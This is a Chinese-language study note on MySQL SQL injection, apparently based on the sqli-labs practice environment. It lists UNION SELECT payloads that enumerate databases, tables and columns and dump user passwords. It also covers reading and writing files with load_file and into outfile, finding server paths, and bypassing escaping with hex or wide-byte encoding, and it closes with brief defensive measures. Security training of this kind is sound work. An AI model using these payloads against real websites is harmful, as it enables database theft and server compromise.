
1、权限问题
(1)在对数据库进行爆库前,先进行信息收集。
user()是判断你注入数据库时的权限,如果返回的是root@localhost最高权限
对于一些网站会将数据库设置权限。对于数据库A它只管理网站A,就算爆破了,此账号只对网页A起作用,不会影响到B网站,因为账号权限不同。但如果是root账号进行爆库,就可以跨库爆破。
(2)mysql数据库的访问:mysql -uroot -p
(3)information_schema.schemata存储各个数据库的名字schema_name
2、sqli-lab实例
(1)获取此网页所有数据库的名字
union select 1,group_concat(schema_name),3 from information_schema.schemata

(2)获取指定security数据库名下的表名信息
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'

(3)获取指定security数据库下的表名users下的列名信息
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'

(4)获取列名下面的数据
union select 1,password,3 from security.users

3、文件读写
(1)常用函数
load_file()读取函数
into outfile或into dumpfile写入函数
(2)实例
select load_file('c:/xxxxx') \一般会认为转义字符

select 'x' into outfile '1.txt'
若文件已存在不能用此函数进行文件写入

(3)获取路径常见方法
常见load_file()读取敏感信息
报错显示
遗留文件:phpinfo.php SCRIRT_FILENAME
漏洞报错
平台配置文件(根据环境决定)
爆破:windows: d:/wwwroot/域名/ Linux: /var/www/域名
(4)魔术引号
magic_quotes_gpc对双引号,反斜杠,NULL,单引号会被转义(加上反斜杠)。
绕过:编码(十六进制)或宽字节绕过
addslashes()PHP内置转义函数:对双引号,反斜杠,NULL,单引号转义
3、注入防护
(1)自带防御:魔术引号
(2)内置函数:int或addslashes()等
if (is_int($id))数字无法注入
(3)自定义关键字:select对关键字进行过滤(有时可以试试大小写)
(4)waf防护软件:安全狗,宝塔等